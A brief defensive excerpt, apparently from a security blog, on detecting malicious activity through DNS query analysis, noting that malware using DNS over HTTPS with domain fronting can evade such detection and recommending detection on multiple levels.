There are many ways to detect specified malicious activity during analysis of DNS queries. These are examples on how it can be done, but keep in head that specified approach will be not useful in all cases related to malicious communication as for example malware can usage DNS over HTTPS with domain fronting [https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html]. Detection should always be performed on multiple levels, due to the fact that each attack can be different.
Idź do oryginalnego materiału